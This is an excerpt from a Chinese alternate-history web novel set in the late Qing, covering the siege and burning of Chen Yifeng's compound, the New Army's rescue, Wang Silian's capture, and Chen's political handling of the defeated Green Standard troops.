王四莲追着败退的骑兵一路狂奔,胸中怒火越烧越旺。夜色中,马蹄声密集,扬起的尘土在月光下如烟似雾。 他猛地勒住战马,铁蹄扬起,激起一片碎石。目光如刀般扫过那些垂头丧气的绿营军,每一个士兵都不敢与他对视。 “一群废物!”他咬牙切齿,声音里带着刺骨的寒意,“朝廷养你们有什么用?连几个女人都对付不了,还有脸在这喘气?” 绿营军们低着头,谁也不敢吭声。 “大...大人,”一名士兵战战兢兢地开口,声音里带着颤抖,“陈家新增七百援兵,我们只有百来人,这仗没法打啊。” 王四莲冷笑一声,目光中闪过一丝狠厉,“蠢货,对付陈逸风,光靠蛮力怎么行?” 他翻身上马,马鞭一挥,向东面的仓库群奔去。很快,他带着两个麻袋返回,借着战马的冲势,将麻袋掷入陈府的火场。 “木炭和硫磺,烧死他们!”他的声音里带着疯狂的快意。 绿营军们恍然大悟,纷纷往返于仓库和大宅之间,不断往火场投掷物资。火光冲天,浓烟滚滚,将半边天空都染成了血色。 陈府内,情况更加危急。 “咳咳...眼睛要瞎了!气都快喘断了!”惨叫声此起彼伏,混杂着咳嗽声和哭喊声。 陈逸风让人用湿棉布蒙住口鼻,但情况依然不容乐观。外围已是一片火海,地道也被尸体堵死,浓烟不断涌入。空气中弥漫着刺鼻的硫磺味,每一次呼吸都如同刀割。 “先生,要不咱们分散撤退!”有人提议,声音里带着绝望。 “放屁!”陈逸风怒喝,声音嘶哑,“那是紫教护法,专门干绝户的活!分散只会让他逐个击破!” 他深吸一口气,强忍着喉咙的灼痛,“守到天明,等新军回援,我们就赢了!” 话虽如此,但他心里清楚,形势已经危急到了极点。浓烟越来越大,空气越来越稀薄,再这样下去,等不到天明,他们就要被活活烧死或者窒息而亡。 与此同时,旷野上一骑飞驰。 孟明蛇策马狂奔,月光下他的身影如同一道疾风。身后的追兵已被他的暗器放倒,但他不敢有丝毫停歇。前方隐约传来喊杀声,那是水军卫的方向。 “什么人?”一排姆克雷枪对准了他,枪口在月光下泛着冷光。 “我是孟明蛇!”孟明蛇运足内力大喊,声音在夜空中回荡,“传先生军令,掌旗了!” 三名偏将闻言色变。旗帜意味着什么,他们再清楚不过。这已不是能用护卫搪塞过去的了。 新军士兵们却沸腾了。 “是先生的血战旗!”他们高呼着,眼中燃起狂热的战意。这面染血的旗帜,承载着新军的军魂。它一旦升起,就意味着不死不休的血战。 瑾周信等人冲到孟明蛇马前,“先生现在在哪?” “被困在陈府,”孟明蛇沉声道,脸上写满焦急,“先生说你们分兵是对的。现在,用最快的速度解决这里,去救他!” 血战旗迎风招展,在月光下显得格外醒目。所有士兵的眼中都燃起了疯狂的战意。 “准备战斗!”瑾周信高声下令,“全军听令,即刻出发!” 士兵们迅速列队,战马嘶鸣,刀枪林立。在血战旗的指引下,他们如同一支离弦之箭,向着陈府的方向疾驰而去。 夜色中,火光映红了半边天空。浓烟滚滚,不时传来爆裂声和惨叫声。陈府内外,两股势力正在进行着一场生死较量。 王四莲站在高处,看着不断蔓延的火势,嘴角露出得意的笑容。他知道,陈逸风已经插翅难飞。就算有援军来救,等他们赶到时,恐怕也只能收拾一具具焦尸。 雪花纷飞的夜晚,寒风呼啸,刺骨的寒意让人不寒而栗。 绿营军们缓缓后退,脸上写满了绝望。他们的军靴在积雪中踩出一个个深深的脚印,每一步都显得沉重而迟疑。 “将军,我们...我们还要继续打下去吗?”一名年轻的士兵颤抖着声音问道。他的脸被寒风吹得通红,眼中满是惶恐。 郑将军没有立即回答。他站在风雪中,目光扫过眼前这支残破不堪的军队。自从钱鹏战死,朝廷迟迟未派新的协台前来,这支军队全靠他与王、丁两位偏将的情义在支撑。 “弟兄们...”郑将军的声音有些沙哑,“再坚持一下!” 话音未落,一阵剧烈的咳嗽让他弯下了腰。一旁的亲兵连忙上前搀扶,却被他轻轻推开。 “老郑,你的伤...”孙将军皱着眉头走来。 “无碍。”郑将军摆摆手,眼中闪过一丝痛楚,“现在不是说这个的时候。” 寒风中,士兵们低声议论着。有人说起郑将军为了筹措军饷变卖家产的事,有人谈起孙将军典当祖传玉佩的往事,更多的人想起商将军放弃了京城的富贵生活,只为陪着这支军队共进退。 “要不是三位将军...”一个老兵红着眼圈说道,声音哽咽。 确实,若不是三位将军倾其所有来维持军队,恐怕这支绿营早已分崩离析。就在夏天那场血战中,死去的弟兄们的抚恤金,也是三位将军东拼西凑才筹齐的。 第一百三十章 战旗飘扬的荣耀 “王四莲一定会成功的!”有士兵突然喊道,“等他带着陈逸风的人头回来,我们就能...” 话未说完,远处传来一阵骚动。 一面残破的战旗在风雪中飘摇而来,上面写着“陈逸风”三个大字。旗面上布满了弹孔,暗红的血迹已经凝固。 “这是...”孙将军瞳孔猛地收缩。 话音未落,一声震天的怒吼从对面传来:“杀!” 两个连队的新军士兵如同发了疯一般冲锋。他们的眼中燃烧着疯狂的怒火,完全无视了呼啸的子弹。 “不好!”郑将军脸色大变,“准备...” 然而已经来不及了。新军的冲锋势如破竹,他们的每一枪都瞄准要害,每一刀都带着必杀的决心。 “这些人疯了!”有绿营军惊恐地喊道,“他们...他们不要命了!” 确实,这些新军士兵已经完全陷入疯狂。子弹打光了就用刀,刀断了就用拳头。他们的眼中只有敌人,已经完全忘记了死亡的恐惧。 “撤!快撤!”绿营军中响起此起彼伏的喊声。 “站住!不准退!”郑将军声嘶力竭地喊着,但已经无济于事。 溃败如同瘟疫般在军中蔓延。士兵们丢下武器,四散奔逃。 “孙大哥!”一声凄厉的喊叫划破夜空。 商将军看到了倒在雪地里的孙将军,他的胸口中了十几枪,鲜血将雪地染得通红。 “商兄弟...”孙将军艰难地抬起手,“快走...听孙大哥的...” 话音未落,他的手无力地垂下,再也没有了声息。 “孙大哥!”商将军想要冲过去,却被亲兵们死死拽住。 “将军!快走!”亲兵们架起商将军就往后撤。 不远处,郑将军正跛着腿往西边撤退。他的腿上中了一枪,每走一步都在雪地上留下一串血迹。 “商兄弟,你没事就好!”郑将军一把抓住商将军的手,声音急促,“快往京城去,别回大营!陈逸风在天津布下了天罗地网,你必须活着把消息带给皇上!” “老哥,我们一起走!”商将军声音颤抖。 “来不及了!”郑将军松开手,转身面对着追兵,“兄弟们,欠我人情的都过来,陪我杀他一个痛快!” 数十名亲兵立刻围了上来,他们的眼中闪烁着决绝的光芒。 “将军,我们跟你死战!” “好!”郑将军拔出战刀,刀锋在月光下闪烁着寒芒,“其他人,立刻带商将军撤退!冲啊!” 商将军被士兵们强行拖走,泪水模糊了双眼。身后传来密集的枪声,还有郑将军最后的呐喊:“皇上万...” 声音戛然而止。 这场战斗已经没有任何悬念。一千五百名绿营军,最后只剩下七百多人。而这七百多人,已经完全丧失了战斗意志。 “集结!以班为单位,向陈府进发!”新军指挥官的声音响彻夜空。 “救大人!”两百名新军士兵齐声呐喊。 他们在雪地上狂奔,呈扇形展开。身上的呢子军服和皮靴都是最好的装备,让他们能在这种天气里依然保持高速机动。 此时的陈府已是一片火海。浓烟滚滚,火光冲天,将夜空映照得通红。 陈逸风带着人在最后的三间正房外围死守。所有的女眷和伤员都在里面,他们用湿布堵住门窗的缝隙,拼命抵抗着浓烈的硫磺烟雾。 “水!快泼水!”有人声嘶力竭地喊着。 一桶桶冰水泼在火墙上,瞬间化为蒸汽。七百多名村民和护卫组成三道防线,誓死保护最后的堡垒。 “援军怎么还不来...”有人开始崩溃,声音中带着哭腔。 “我要回家,我想见我娘...”越来越多的人情绪失控。 “把闹事的都绑起来!”陈逸风怒吼,声音中带着不容置疑的威严,“老天爷要收我的命,也得看我答不答应!” 话音未落,又一间房屋轰然倒塌。火星四溅,照亮了众人惊恐的面容。 火场外,王四莲正骑在马上得意地大笑:“哈哈哈!陈逸风,就算援军来了也只能给你收尸!这江山万世属于我大清!” 突然,南方的树林里传来整齐的脚步声和喊杀声。一面残破的战旗在火光中若隐若现,那是新军的旗帜! “不好!是陈逸风的援军!竟来的如此之快!”王四莲脸色大变,额头上冒出冷汗。 密集的枪声响起,子弹呼啸而来。几个绿营军应声倒地,鲜血染红了白雪。 “撤!快撤!”王四莲调转马头就逃。什么功名利禄,在性命面前都不值一提。 “怎么可能?一千五百绿营军居然这么快就被打垮了?”王四莲一边逃命一边自言自语,百思不得其解。 但现在已经来不及细想了,带着众人四散逃窜,因为身后的喊杀声越来越近。 一夜奋战的骑兵们虽然疲惫不堪,但当他们看到火光中的陈府时,每个人的眼中都燃起了战意。 虎贲营和羽林军的士兵只开了三轮枪,敌人便已消失得无影无踪。眼前只剩下熊熊燃烧的火场,木材燃烧的噼啪声不绝于耳。 “脱掉军装,用土灭火!”瑾周信的声音在火光中回荡,他的脸上沾满了灰尘,但眼神依旧锐利。 年轻的战士们脱下蓝色呢子军装,有些人甚至光着膀子,挥舞着工兵锹开始铲土。寒风呼啸,但没有一个人退缩。 冻硬的泥土在他们手中如同豆腐般被轻易铲起,装进军服里。士兵们背着泥土包,毫不犹豫地冲向火场。有人被烟呛得直咳嗽,却咬牙坚持着。 “小心点!”一个老兵喊道,“别让火星子蹦到身上!” 战士们默默地将泥土倒在火焰上,炙热的温度让他们浑身冒汗,脸上的汗水和灰尘混在一起,划出道道痕迹。 “先生,您一定要挺住啊!”有人突然喊道,声音中带着哭腔,“您惹出这么大的乱子,还等着您来收拾呢!” 这话引得周围的战士们都笑了起来,即便在这种危急时刻,他们依然保持着乐观的心态。 孟明蛇站在一旁,看着这些年轻的面孔,不禁红了眼眶。他偷偷擦拭着眼角的泪水,这些年轻人,每一个都在为陈逸风拼命。 第一百三十一章 王四莲被抓 “瑾周信,”孟明蛇转头问道,声音有些哽咽,“你说说,当年天国的精锐能比得上这支铁军吗?” 瑾周信摇了摇头,目光中充满感慨:“远远不如。先生给了这些士兵不只是活命的机会,更给了他们看清世界的眼睛。他们心中有了信仰,才能成为真正的铁军。” “那你告诉我,”孟明蛇的声音震动四野,“他们的信仰是什么?” “先生的理想就是我们的理想!”两百新军齐声高喊,声音中充满坚定。回声在夜空中久久回荡。 火场中,一条通道已经被清理出来。 陈逸风剧烈地咳嗽着:“可把你们盼来了,再不来我们就要死在这了” 光着上身的精壮男儿们整齐列队,向陈逸风行着前所未见的军礼。 这一夜终于过去了。 陈逸风站在晨光中,看着眼前这支为他出生入死的铁军。他们的脸上还带着灰尘和汗水,军装早已破破烂烂。 “清点人数!”陈逸风沉声道。 “报告先生,”一个连长立即回答,“全军两百一十三人,无一伤亡!” 这个数字让所有人都松了一口气。在这样危险的救援行动中,能做到无一伤亡,足见这支军队的素质之高。 就在这时,远处传来一阵马蹄声。一队人马疾驰而来,为首的正是陈逸风派出去的侦察兵。 “报告先生!”侦察兵翻身下马,“发现敌人的踪迹!他们往西北方向逃窜,约有三十余人!” 陈逸风眯起眼睛,目光如炬:“传令下去,虎贲营、羽林军立即追击!务必将这些宵小之徒一网打尽!” “是!”两个连长领命而去,带着各自的部下迅速集结。 看着士兵们井然有序地行动,陈逸风的心中涌起一股暖流。这就是他的根基,是他未来征战四方的利剑。每一个士兵都是他亲手训练出来的,每一个人都值得信赖。 天大亮,陈逸风在临时搭建的帐篷里安排事宜。 就在这时,一队人马突然从远处疾驰而来,扬起的尘土在晨光中格外醒目。 “陈先生!我们抓到王四莲了!”沈扬兴奋地喊道,声音中带着掩饰不住的得意。 不一会儿两名衙役押解着王四莲进来。 原来,王四莲在逃跑时看到前方有大批人马,便躲进了一家早点铺,装扮成伙计。被沈杨安排的眼线看破,一举拿下。 他突然正色道,“来人,给我搜身!” 孙忠义亲自动手,很快就从王四莲身上搜出了带刀侍卫腰牌和秘旨。腰牌上的雕刻精美异常,在晨光中泛着冷冽的光芒。 陈逸风接过腰牌,冷笑着端详了两眼:“好东西,真是好东西。有了这个,咱们就能慢慢打官司了。”他的手指轻轻摩挲着腰牌上的纹路,“来人,把他带下去好好审问,一定要把口供拿到手。” 王四莲闭着眼,任由士兵把他押了下去。他的脚步虚浮,像是已经放弃了抵抗。 陈逸风站起身,走到帐篷外望着东升的朝阳,伸了个懒腰:“沈捕头...” “先生您叫我?小的在这儿呢。”沈扬立刻凑了上来,脸上堆满谄媚的笑容。 “你在这地头上混,能不能搞点丰盛的早点?” “先生您这是瞧不起我啊!”沈扬拍着胸脯保证,“这点小事要是都办不好,我还有什么脸在这望海混?我马上亲自处理,小的们,跟我回城请厨子去!” 看着沈扬远去的背影,陈逸风若有所思地点了点头。这家伙虽然贪财,但眼力劲儿不错,知道谁才是真正的主子。这种人,值得培养。 同知沈明泰擦了擦脸上的黑灰,赔笑道:“是啊,沈捕头确实应该升升官了。这人心思灵活,脑子也好使,以后先生的工业特区用得着他。” 就在这时,梁镳搀着梁儒走了过来。梁儒已经没了之前的威风,颤颤巍巍地就要给陈逸风下跪。他的衣服上沾满了尘土,头发也乱糟糟的,哪还有半分往日富商的气派。 “老朽糊涂啊,触怒了先生的威严,求先生开恩...”梁儒的声音都在发抖。 商人骨子里对军人的恐惧,早就刻进了骨髓里。从看到陈逸风“暴力抗法”的那一刻起,梁儒就知道自己错得离谱。等到今早看见那些彪悍的新军,他彻底服软了。 陈逸风冷眼看着跪在地上的梁儒。这老头虽然对凤女不好,但也没有大错,他还真不好下死手。每次看到凤女整夜哭泣,陈逸风都想派人做掉这老东西。可那毕竟是凤女的大伯,是梁镳的亲哥哥,骨肉相连割不断啊。 “梁老先生,您这一跪我可当不起。”陈逸风的声音里带着几分嘲讽,“您要是少砸我几次商行,什么都好说。想想您之前那威风劲儿,发飙砸东西的,还说我的商行不值几个钱,现在呢?” 看着梁儒在寒风中发抖的样子,再加上凤女正在窗边偷看,陈逸风挥了挥手,让人把梁儒扶了起来。 “您是凤女的大伯,也是我的亲人。那一跪是给我那些受害的弟兄们跪的,我可不敢受。按理说,我这个当侄女婿的不该挑您的不是,但谁让我是个二鬼子呢,不讲礼法也很正常。” 梁儒连连点头称是,脸上的皱纹都挤到了一起。这一夜的血火把他吓坏了,就算是个铁憨憨,现在也明白这里不是他能掺和的地方了。 “是是是,我立即返回晋地颐养天年。永昌号我马上就带走,绝不给您添麻烦。梁镳啊,你要是想回家族就回去,不愿走也无人强迫你...” 陈逸风眼睛一瞪:“说什么呢?闯下这么大的祸患,想走就走?把永昌号给我留下!” 梁儒一听就软了,扑通又跪在地上:“陈先生开恩啊!我们永昌号这一年都没赚到钱,您若是没收这二百万两银子,我们全家就活不下去了...” 凤女见状冲了出来,眼含泪水:“我大伯虽然做错了事,但他已经认错了。看在我的面子上,你就别太为难他了。”她的声音里带着几分哀求。 梁镳气得脸都红了:“大哥你快起来,别丢人了!先生不是想占你的财,是想让你把银子都存在明月商行,不但给你利息,还能换成洋人的银币。” 第一百三十二章 陈逸风故意放走败将 梁儒愣住了:“当真?你们当真不是想要我的钱财?” “不想跟你扯皮,梁掌柜的你去向令兄说明情况。”陈逸风转身就走,不愿再看这一幕。 梁镳费了半天功夫才打消了梁儒的疑虑。梁儒终于明白过来,笑得眼睛都眯成一条缝:“陈先生果然大气,别跟我计较。凤女啊,日后定要孝敬先生,三从四德可要记牢了。” “伯父您为何如此!”凤女气得跺了跺脚,转身跑开了。 就在这时,孙忠义悄悄走到陈逸风身边,压低声音说道:“先生,那帮败兵该如何处置?大营中还剩六百多看守的,四下逃散的也有五六百。这上千号人都是定时炸弹啊。” “你有什么想法?”陈逸风的目光变得深邃起来。 “先生,必须立刻采取行动。”孙忠义快步走到陈逸风身边,压低声音说道。他的脸上布满焦虑,额头上渗出细密的汗珠,“绿营那边的证据链必须切断,否则后患无穷。” 陈逸风转头看了他一眼。这位平日里沉稳干练的罚阁干将,此刻眼中闪烁着罕见的不安,连说话的语气都带着一丝颤抖。 “继续说。”陈逸风的声音依旧平静。 孙忠义深吸一口气,快速道:“属下已经拟定了计划。由沈大人上书朝廷,将此事定性为江洋大盗王四莲勾结绿营意图抢劫商圈。现在洋人水手已经上岸警戒,有了他们插手,我们就更有回旋余地。” 他的声音越来越急促:“您只需带着虎贲营和羽林军出海避一避。清廷对海洋向来畏惧,您但凡漂在海面,他们就拿您没办法。剩下的就是打官司的事了。我们有钱有人证,慢慢和朝廷周旋。实在不行就回琉球,看他们能把手伸多远。” 陈逸风听得有些意外。他创立罚阁时,原本只是想培养一批密探和杀手。没想到这些人的成长速度远超预期,已经能对局势做出如此精准的判断。 “先生,时间紧迫。”孙忠义催促道,眼中的焦虑更甚,“天已经亮了,再不动手就来不及了。您看这片平原,几百溃兵想往哪里逃?现在就需要您一个决断!” 四周一片寂静。晨风吹过,带来远处士兵们准备早餐的香气。原本正在享用早点的士兵们都被这突如其来的争执惊住了,纷纷放下手中的碗筷,紧张地看着这边。 陈逸风盯着孙忠义紧张的面孔看了许久,突然笑了:“瞧你板着张脸,不至于啊。在你们看来危在旦夕的局面,在我眼里却是一片坦途。沈捕头,给我来碗豆腐脑。” 沈扬连忙端来两碗热气腾腾的豆腐脑,一碗递给陈逸风,一碗给孙忠义。浓香的芡汁浇在雪白的豆腐脑上,配着木耳丝、鸡蛋丝和韭菜花酱,再点缀几滴辣油,香气四溢。 陈逸风喝了一口,眉头突然皱起:“咸的?这豆腐脑居然是咸的?简直丧心病狂,豆腐脑不应该是甜的吗?” 这话一出,周围人都愣住了。 “先生,”孙忠义放下手中的碗,解释道,“甜豆腐脑主要在苏杭和粤地流行,别处全是咸口味。这是地方习俗,各有各的讲究。” “不不不,”陈逸风端着碗环视四周,“你们说,脑花究竟该甜该咸?” 沈扬眼珠一转,立刻表态:“甜的!先生您说什么味就是什么味!”他身后的捕快们也纷纷附和,有人甚至开始高声论证甜豆腐脑的优越性。 “放屁!”玄童陀一拍大腿站了起来,他那张黝黑的脸涨得通红,“豆花必须放盐,你们这群马屁精!” 新军士兵们也跟着起哄:“对,咱们从小吃到大都是咸的,你们太不要脸了!” “甜的!” “咸的!” “甜的!” “咸的!” 两派人马吵成一团,有人甚至撸起袖子要动手。原本紧张的气氛被这场闹剧冲散,连孙忠义也忍不住露出一丝笑意。 陈逸风笑着看这闹剧,慢条斯理地把碗里的豆腐脑喝完,拍了拍孙忠义的肩膀:“政治斗争有时候就是这么无聊。人们争的不是对错,而是争吵的过程本身。一碗豆腐脑都能分出派系,更何况朝堂之上?” 他站起身,抖了抖衣袖上的尘土:“去传令,贴安民告示。首恶已除,胁从不究。命令败兵返回驻地,我自有安排。” 孙忠义还想再劝,被瑾周信和诸葛林一左一右拉到一边。 “先生何时让兄弟们失望过?”瑾周信低声道,“别瞎操心了。” 诸葛林也附和:“是啊,先生向来运筹帷幄。这次肯定也胸有成竹。” 一个时辰后,快马奔驰在望海各处。 “府衙大人下令,作乱首恶已伏法,请百姓安心回家!”骑兵们扯着嗓子喊道。 “告诉那些绿营军,这帮人全被王四莲骗了,赶紧回营地!” 所有通往天津卫的道路上都设了卡子。士兵们不厌其烦地重复着同样的话:“弟兄们快回来,王四莲已经招供了,你们都是被他骗的啊!” 与此同时,淮河上的漕船也在严查过往船只。河面上雾气渐散,露出点点船帆。 一艘运粮船上,商将军和两名亲卫藏在粮袋堆里,连大气都不敢出。粮袋堆积如山,空气闷热,汗水浸透了他们的衣衫。 “几位爷辛苦了,”船老大陪着笑脸,手里捏着几张银票,“这是明月商行的护卫吧?” 检查的士兵冷着脸:“少废话,例行检查,把粮食搬开。” “求您网开一面吧!”船老大连连磕头,额头在甲板上磕得砰砰响,“淮河马上就要封冻了,耽误了这批粮食可是要掉脑袋的!” 粮袋深处,商将军已经握紧了祖传的百炼精钢匕首,手心里全是冷汗。他知道,一旦被发现,就只能拼死一搏了。 就在这时,远处传来一阵号角声。 “撤!”带队的士兵突然下令,“陈先生有令,所有船只放行!” 船老大愣了一下,随即大喜过望:“多谢各位爷!多谢各位爷!” 第一百三十三章 安民之策 等检查的士兵走远,他才松了一口气,擦了擦额头的冷汗。粮袋堆里传来商将军压抑的声音:“快走!” 船老大连忙招呼水手们开船。运粮船缓缓驶离码头,消失在迷雾中。 与此同时,陈逸风正站在城墙上,看着远处的船影。 “先生,”孙忠义欲言又止,“就这样放他们走了?” 陈逸风微微一笑:“有时候,最好的棋子就是活着的敌人。” 船只缓缓驶离码头,消失在夜色中。岸边的士兵们收起了警惕,继续巡逻。没人注意到,船舱深处藏着几个衣衫褴褛的身影。 “陈逸风,你好狠!”等船驶出警戒范围,商将军才敢出声,他捂着胸口大口喘气,“夏天杀我们一遍不够,现在还想赶尽杀绝?老子定要到京城告你一状,你就等死吧!” 身边的亲兵低声安慰:“大人息怒,船家与我有些沾亲带故,绝不会出卖咱们。抵达了津门,寻找八旗统领,让八旗兵也尝尝苦头。” “住口!”商将军厉声打断,眼中闪过一丝惊惧,“忘了老郑将军临终嘱托?谁知道陈逸风在望海藏了多少兵马?被收买的官员岂止沈明泰一个?在这露面,凶多吉少啊。” 淮河水声哗啦,岸边薄冰碎裂。寒风吹过,商将军不由打了个寒战。这条河迟早要冻得结结实实,到时候想逃都难了。 与此同时,望海城内,陈逸风的安民之策正在实施。那些未参战的老弱病残,迎来的不是屠刀,而是周边百姓组织的救济。蔬菜、米面、猪肉、柴炭,一车车运进营地。 负责运输的是大孙庄失地的村民。他们都是聪明人,既然土地已失,就得想方设法谋生。加上陈逸风的特殊照顾,他们揽下许多外快,日子倒也过得去。 “看什么看?不会帮把手?都成了死人不成?”老村长站在柴炭车上,腰板挺得笔直。平日里见了当兵的躲都来不及,今天总算扬眉吐气了。 他指着那些垂头丧气的士兵,继续数落:“你们这群榆木脑袋,让人骗得跟傻狗似的!王四莲在大牢都招了,不过是个亡命之徒!借你们的手抢钱罢了。昨晚叫得欢,今儿怎么都蔫了?” 士兵们面露惭愧,却无人反驳。昨晚的战斗,让他们彻底认清了现实。那支号称是明月商行护卫的队伍,战力之强,令人胆寒。 “还是陈先生菩萨心肠,知道你们是穷得没法活才上当的。”老村长的声音忽然温和下来,“赶紧开门卸车!这些都是好东西啊!” 三个村子的年轻人都参加了昨晚的战斗。这一战,在这些朴实农人心中种下了变化的种子。他们的眼神不再畏缩,多了几分坚定。 “什么?给咱们运粮食?陈先生送来的?”守营士兵难以置信地看着车上的物资,“这不是耍我们?” “呸!”老村长啐了一口,“肉蛋菜米面都来了,你还想怎样?等陈先生亲自送到手里?你配吗?” 不等士兵回应,村民们已经动手搬开营门。他们熟练地支起大锅,劈柴生火,很快就飘出诱人的香味。 “陈先生真是活菩萨!人家明月商行护卫喝碗豆腐脑就完事,倒给你们这些偷袭的送肉送菜。你们前世积了大德!” 清朝的绿营军就是这样,给谁饭吃跟谁干。几千年的皇权影响,让他们早已习惯了这种生存之道。见陈逸风示好,立刻忘了将军们的恩义,帮着劈柴挑水。 正午时分,溃兵陆续回营。看到留守的已经开吃,也就明白了陈逸风的态度。 “要死也得饱死!大人物打生打死关我们什么事?吃饭要紧!”有人大声嚷嚷。十八个小时没进水米,即便马上赴死问斩,也得先填饱肚子。 到傍晚,九成士兵都回来了。这时,望海同知沈明泰出现在营地。他的到来,让士兵们看到了生的希望。 “绿营兄弟们,你们太冤枉了!”沈明泰站在高处,声音洪亮,“都是王四莲那骗子害的。他就想趁乱让手下洗劫商号。幸好有明月商行帮忙,才没让望海大乱。” 士兵们面面相觑。昨夜如此凶猛的剃头士兵,怎么就成了商行护卫?这实力都快能比肩洋兵了。但没人敢质疑,都在心照不宣地点头。 “闭嘴!想活命就听大人的,说什么就是什么!”有老兵低声提醒。 安抚完士兵,沈明泰把剩下军官召进大帐。帐内烛火摇曳,映照出他阴沉的面容。 “好啊,真是精锐!一千五百人打不过两百护卫,还把洋人引上岸,就这么给皇上守国门?”沈明泰的声音里带着讥讽。 军官们面色惨白,“陈先生为何如此?” “为什么不赶尽杀绝?为什么送米面?”沈明泰冷笑,“那是断头饭!一千五百对二百都输,朝廷还留你们做什么?现在洋人都抗议了,说大清保护不力,他们都在筑防了。你们这些蠢货还吃得下饭?” 军官们这才恍然大悟。原来陈逸风是在等朝廷动手。看门狗不中用了,不就该杀了吃肉? “求沈大人救命!”众人纷纷跪倒。 沈明泰扶起他们,语气缓和:“还有救。你们配合好,不但保住性命,还能和明月商行搞好关系。现在望海首富可是陈逸风啊。” “时间紧迫,你们要做两件事。”沈明泰竖起两根手指,“首先要安抚将士,按我们说的来。二是找到商将军。战场搜了三遍,就他逃了。要是让他把实情报到京城,我也保不住你们。” 人性自私,命都快没了,还讲什么大道理?沈明泰说得对,望海这么大乱子,还让洋人看笑话,朝廷一定暴怒。到时候,不光是陈逸风,这些无能的军官也得陪葬。 “为求一线生机顾不上太多。”一个军官咬牙道,“沈大人,商将军只能走水路,八成是奔着京城去了。我们就知道这些...” “好!有线索就是大功一件!”沈明泰满意地点头,“记住,从现在起,你们就是我的人了。” 帐外,寒风呼啸。淮河的水声中,似乎隐藏着无数秘密。 第一百三十四章 需要建立一个完整的体系 陈逸风站在明月商行二楼的窗前,目光穿透玻璃,投向远方。 他的思绪不断在脑海中翻涌,这场突如其来的战斗,让他看到了太多意想不到的东西。新军的表现固然令人欣喜,但更让他惊讶的是那些平日里看似柔弱的女子们,尤其是凤女。 那个总是笑嘻嘻的姑娘,在战火中展现出的勇气和果断,让所有人都为之侧目。 “先生,您还没休息吗?”孙忠义的声音从身后传来,打断了他的思绪。 陈逸风没有转身,只是轻声问道:“忠义,你觉得这次的胜利,是不是来得太容易了些?” 孙忠义愣在原地,一时不知该如何作答。片刻后,他苦笑着摇头:“先生说笑了,我们可是差点全军覆没啊。要不是孟明蛇带着新军们及时支援,恐怕现在...” “不,”陈逸风打断了他的话,“我是说,这场胜利来得太突然,快到我们都还没准备好。” 他终于转过身,目光落在孙忠义脸上。昨夜的战斗在这位副官脸上留下了几道细小的伤痕,衣襟上还沾着些许血迹。 孙忠义的表情变得严肃起来:“先生是在担心军中的变化?” “一支优秀的军队,需要有自己的思想和判断。”陈逸风缓步走向书桌,手指轻轻抚过桌面上摊开的地图,“但如果这种思想超出了掌控,那就会变成一把双刃剑。” 孙忠义低下头,声音中带着几分惭愧:“先生,我们并非有意冒犯。只是觉得,为了新军的未来,有些事情必须要提前考虑。” 陈逸风没有立即回答,而是拿起桌上的茶杯,轻轻抿了一口已经凉透的茶水。 “我知道你们都是为了大局着想。”他放下茶杯,目光变得深邃,“但是,我们现在还太弱小,还不到考虑这些的时候。” 就在这时,窗外传来一阵轻微的响动。孟明蛇的身影无声无息地出现在窗边,他的目光警惕地扫视着四周。 “孟明蛇,你也来了。”陈逸风示意他进来,“正好,我有些事想和你们商量。” 孟明蛇轻巧地跃入房间,站在一旁没有说话。他的存在仿佛一团影子,却给人莫名的安全感。 “这次的胜利,不仅改变了望海的局势,更重要的是,它让我们看到了自己的不足。”陈逸风的声音变得严肃,“我们需要更多的训练,更严密的组织,更完善的情报网络。” 孙忠义立刻接话:“先生放心,我已经让人开始整理这次战斗的经验教训。明天一早就能...” “不够。”陈逸风摇头,“我们需要的不仅仅是战术层面的总结。我们需要建立一个完整的体系,从选拔、训练到后勤保障,每一个环节都要重新规划。” 他走到挂在墙上的地图前,手指划过一道道线条:“望海只是开始。接下来,我们要面对的是整个清廷的力量。如果不能快速成长,我们就会被碾碎。” 孟明蛇突然开口:“先生,属下有个想法。” 陈逸风转身看向他:“说说看。” “我们可以借鉴江湖帮派的组织方式。”孟明蛇的声音低沉,“建立严密的等级制度,同时保持足够的灵活性。” 孙忠义眼前一亮:“对,就像是煊帮那样!他们能在短时间内动员大量人手,却又不会引起官府的注意。” 陈逸风若有所思地点头:“这个思路很好。不过,我们要做的不是建立一个帮派,而是一支真正的军队。” 他走回书桌前,从抽屉里取出一本厚重的西方军事著作:“这里面记载了未来战争的模样。我们要学习的,是如何将西方的军事体系与我们的实际情况相结合。” 就在这时,门外传来急促的脚步声。一个士兵匆匆跑进来,行了个军礼:“报告先生,城外发现可疑人员!” 房间里的气氛瞬间紧张起来。 陈逸风却显得异常冷静:“详细说说。” “是几个商人打扮的人,但是他们的举止很奇怪。而且...”士兵压低声音,“他们似乎在打听昨晚战斗的细节。” 陈逸风和孙忠义对视一眼,都从对方眼中看到了警惕。 “让人去查,但不要打草惊蛇。”陈逸风下令,“同时,加强城内巡逻,特别是码头一带。” 士兵领命离去,房间里重新恢复了平静。 “来得比预想的要快。”陈逸风喃喃自语,“看来清廷那边已经得到消息了。” 孙忠义有些担忧:“先生,要不要先...” “不用紧张。”陈逸风打断他的话,“这正是我们需要的机会。” 他走到窗前,望着逐渐亮起的天际:“让那些探子看看我们想让他们看到的东西。让他们以为,我们只是一群不成气候的乌合之众。” 孟明蛇和孙忠义都露出恍然大悟的表情。 “明白了,”孙忠义立刻说道,“我这就去安排。” “记住,”陈逸风叮嘱,“要让一切看起来都很自然。过于刻意反而会引起怀疑。” 等两人离开后,陈逸风重新坐回书桌前。他翻开那本西方军事著作,目光落在一段关于情报战的描述上。 在这个瞬息万变的时代,真正的战争往往在战场之外就已经开始。而他们,正处在暴风眼的中心。 天色渐亮,望海的街道上开始有了人声。码头那边传来船只的汽笛声,预示着新的一天即将开始。 但陈逸风知道,这个平静的表象下,暗流正在汹涌。而他们能否在这场无声的较量中存活下来,就要看接下来的每一步能否走对。 他合上书本,站起身活动了一下有些僵硬的身体。 满清的八旗和绿营,曾是开疆扩土的利器。 康雍乾三朝,这两支军队所向披靡,战功赫赫。但自嘉道年间起,八旗和绿营逐渐衰落。到了第一次鸦片战争后,更是一蹶不振,连太平天国这样的农民起义都无力镇压。 天津卫的八旗都统端阳就是个典型。两次望海暴动,他的八旗军都成了看客。明明距离望海不过几十里,快马一个时辰就能到,却毫无作为。 炎炎夏日爆发的那次动乱,七爷只派了一名传令兵,就把上千骑兵吓得不敢前进。最后只能灰溜溜地退回天津卫。这一次更是丢人。 第一百三十五章 紫禁城的老祖宗 